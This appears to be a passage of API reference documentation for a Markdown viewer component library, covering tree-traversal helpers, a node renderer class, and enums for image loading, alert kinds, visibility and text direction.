VisitChildLists static void VisitChildLists(BitMarkdownNode node, Action<IList<BitMarkdownNode>> action) Invokes the action for every child collection in the tree, depth-first. The action may add, remove or replace entries in place, which is how an AST processor rewrites the tree.
ToPlainText static string ToPlainText(BitMarkdownNode node) Renders the subtree as plain text: what the document says, with none of the markup it says it with and none of the link destinations. Blocks are separated by a blank line. This is the text a search index, an excerpt or a meta description is built from.

BitMarkdownRenderer properties

Walks an AST and dispatches each node to a matching node renderer. Renderers are probed in reverse registration order, so the last renderer registered for a node type wins, allowing pipeline extensions to override the core renderers.

Name Type Default value Description
WriteNodes void WriteNodes(RenderTreeBuilder builder, IEnumerable<BitMarkdownNode> nodes) Renders a sequence of nodes.
WriteNode void WriteNode(RenderTreeBuilder builder, BitMarkdownNode node) Renders a single node using the matching renderer (last registered wins).

BitMarkdownViewerImageRendering enum

Name Value Description
All 0 All images are rendered and loaded automatically, including remote ones. Suitable only when the Markdown source is fully trusted.
SameOrigin 1 Only same-origin images (relative paths, anchors, same-document references and embedded data: images) are loaded. Cross-origin images (http:, https: and protocol-relative //) are blocked. The recommended mode for untrusted or AI-generated Markdown.
None 2 No image is allowed to load; every image source is stripped and only the alt text remains. The strictest option.

BitMarkdownAlertKind enum

Name Value Description
Note 0 Useful information the reader should notice even when skimming.
Tip 1 Optional advice for doing something better.
Important 2 Key information the reader needs to succeed.
Warning 3 Urgent information that needs immediate attention to avoid a problem.
Caution 4 Advice about the risks or negative outcomes of an action.

BitVisibility enum

Name Value Description
Visible 0 The content of the component is visible.
Hidden 1 The content of the component is hidden, but the space it takes on the page remains (visibility:hidden).
Collapsed 2 The component is hidden (display:none).

BitDir enum

Name Value Description
Ltr 0 Ltr (left to right) is to be used for languages that are written from the left to the right (like English).
Rtl 1 Rtl (right to left) is to be used for languages that are written from the right to the left (like Arabic).
Auto 2 Auto lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element.

Feedback

Found a mistake, a gap, or something that could be clearer? Every page and every component is one click from its source.